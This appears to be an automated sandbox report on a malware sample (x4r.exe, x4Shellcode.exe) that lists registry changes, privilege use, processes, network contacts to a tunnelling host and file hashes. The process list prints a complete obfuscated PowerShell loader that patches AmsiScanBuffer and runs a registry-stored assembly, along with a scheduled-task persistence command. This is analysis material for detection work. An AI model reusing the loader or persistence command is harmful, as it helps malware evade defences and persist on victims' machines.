| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" | C:\Windows\system32\sihost.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\dllhost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\winlogon.exe
winlogon.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\dwm.exe
"dwm.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Users\Admin\AppData\Local\Temp\x4rr.exe
"C:\Users\Admin\AppData\Local\Temp\x4rr.exe"
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Users\Admin\AppData\Local\Temp\x4r.exe
"C:\Users\Admin\AppData\Local\Temp\x4r.exe"
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:AnmkeclrzdWd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PtACfPxcKHDAjE,[Parameter(Position=1)][Type]$doubJQSQru)$hfFmwkBOVCx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+'c'+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+'D'+'e'+[Char](108)+'e'+'g'+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$hfFmwkBOVCx.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+'l'+'N'+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+'id'+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$PtACfPxcKHDAjE).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+'me'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+'g'+'e'+'d');$hfFmwkBOVCx.DefineMethod(''+'I'+'n'+[Char](118)+'o'+'k'+''+[Char](101)+'',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+'id'+'e'+'By'+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+'l',$doubJQSQru,$PtACfPxcKHDAjE).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $hfFmwkBOVCx.CreateType();}$NpWDEyMHYuxZv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+'oft.'+'W'+'i'+'n'+''+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+'s'+'a'+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+'e'+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$fEJsduPORCSPaR=$NpWDEyMHYuxZv.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+'e'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SeygckbcSEYCoKjAUYK=AnmkeclrzdWd @([String])([IntPtr]);$wBfbpPrBcbYYyYWHCedWLR=AnmkeclrzdWd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dVkiNRQpMCL=$NpWDEyMHYuxZv.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$KloZEbziXoPRPJ=$fEJsduPORCSPaR.Invoke($Null,@([Object]$dVkiNRQpMCL,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+'ra'+'r'+''+[Char](121)+''+[Char](65)+'')));$dbqqakGsOfwuXPVmY=$fEJsduPORCSPaR.Invoke($Null,@([Object]$dVkiNRQpMCL,[Object](''+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'te'+'c'+''+[Char](116)+'')));$xqxcbTy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KloZEbziXoPRPJ,$SeygckbcSEYCoKjAUYK).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$rMELbTMOcBvPNPWgy=$fEJsduPORCSPaR.Invoke($Null,@([Object]$xqxcbTy,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+'a'+''+'n'+''+'B'+''+[Char](117)+'ff'+[Char](101)+''+'r'+'')));$YkukAMADLc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dbqqakGsOfwuXPVmY,$wBfbpPrBcbYYyYWHCedWLR).Invoke($rMELbTMOcBvPNPWgy,[uint32]8,4,[ref]$YkukAMADLc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rMELbTMOcBvPNPWgy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dbqqakGsOfwuXPVmY,$wBfbpPrBcbYYyYWHCedWLR).Invoke($rMELbTMOcBvPNPWgy,[uint32]8,0x20,[ref]$YkukAMADLc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'x'+''+[Char](52)+'st'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 5e84e0047b561e6234f97b2591a79967 k4AZXetrmUezTf+lA+Ck7Q.0.1.0.0.0
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ba342615-36ba-4fba-b55d-27d28b56338c}
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x4svchost" /tr "C:\Users\Admin\AppData\Roaming\x4svchost.exe"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
C:\Users\Admin\AppData\Roaming\x4svchost.exe
C:\Users\Admin\AppData\Roaming\x4svchost.exe
C:\Users\Admin\AppData\Roaming\x4svchost.exe
C:\Users\Admin\AppData\Roaming\x4svchost.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | edition-eat.gl.at.ply.gg | udp |
| US | 147.185.221.19:13576 | edition-eat.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| N/A | 127.0.0.1:13576 | tcp | |
| N/A | 127.0.0.1:13576 | tcp | |
| US | 147.185.221.19:13576 | edition-eat.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 52.111.229.43:443 | tcp | |
| US | 147.185.221.19:13576 | edition-eat.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 144.107.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| N/A | 127.0.0.1:13576 | tcp | |
| US | 147.185.221.19:13576 | edition-eat.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 89.16.208.104.in-addr.arpa | udp |
Files
memory/620-0-0x00007FFCBF2A3000-0x00007FFCBF2A5000-memory.dmp
memory/620-1-0x0000000000FD0000-0x0000000001008000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\x4r.exe
| MD5 | 41ec20be55512c40a941c12cc99f054e |
| SHA1 | cd8c30618e560a3e54abb5ad1efc29d859aefe4e |
| SHA256 | f8f0cec95dda3ee23a359a9891c66908e36a8b91cfd6294358910761c211d4c3 |
| SHA512 | 4148f017e59a8995003eb1a3decf3a3f2ceb1e57d7040e1092704b16a69d4b61ce2e4d66fea9c33ab797ba47838b74b7de7206c5876f3d7bdddb2b8383ecc64b |
memory/620-10-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
| MD5 | 8a7bee2c8cec6ac50bc42fe03d3231e6 |
| SHA1 | ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d |
| SHA256 | c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8 |
| SHA512 | 34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5 |
memory/404-24-0x0000000000CC0000-0x0000000000CD6000-memory.dmp
memory/404-23-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp
memory/620-25-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp
C:\Windows\Temp\__PSScriptPolicyTest_2nk54qsp.tur.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2384-35-0x0000016613F30000-0x0000016613F52000-memory.dmp
memory/2384-36-0x000001662C310000-0x000001662C33A000-memory.dmp
memory/2384-37-0x00007FFCDD290000-0x00007FFCDD485000-memory.dmp
memory/2384-38-0x00007FFCDCBD0000-0x00007FFCDCC8E000-memory.dmp
memory/5096-42-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5096-46-0x00007FFCDCBD0000-0x00007FFCDCC8E000-memory.dmp
memory/5096-45-0x00007FFCDD290000-0x00007FFCDD485000-memory.dmp
memory/5096-44-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5096-41-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5096-40-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5096-39-0x0000000140000000-0x0000000140008000-memory.dmp
memory/5096-47-0x0000000140000000-0x0000000140008000-memory.dmp
memory/668-70-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp
memory/956-82-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp
memory/1016-93-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp
memory/408-97-0x0000026CE0A60000-0x0000026CE0A8C000-memory.dmp
memory/1016-92-0x0000026362790000-0x00000263627BC000-memory.dmp
memory/1016-86-0x0000026362790000-0x00000263627BC000-memory.dmp
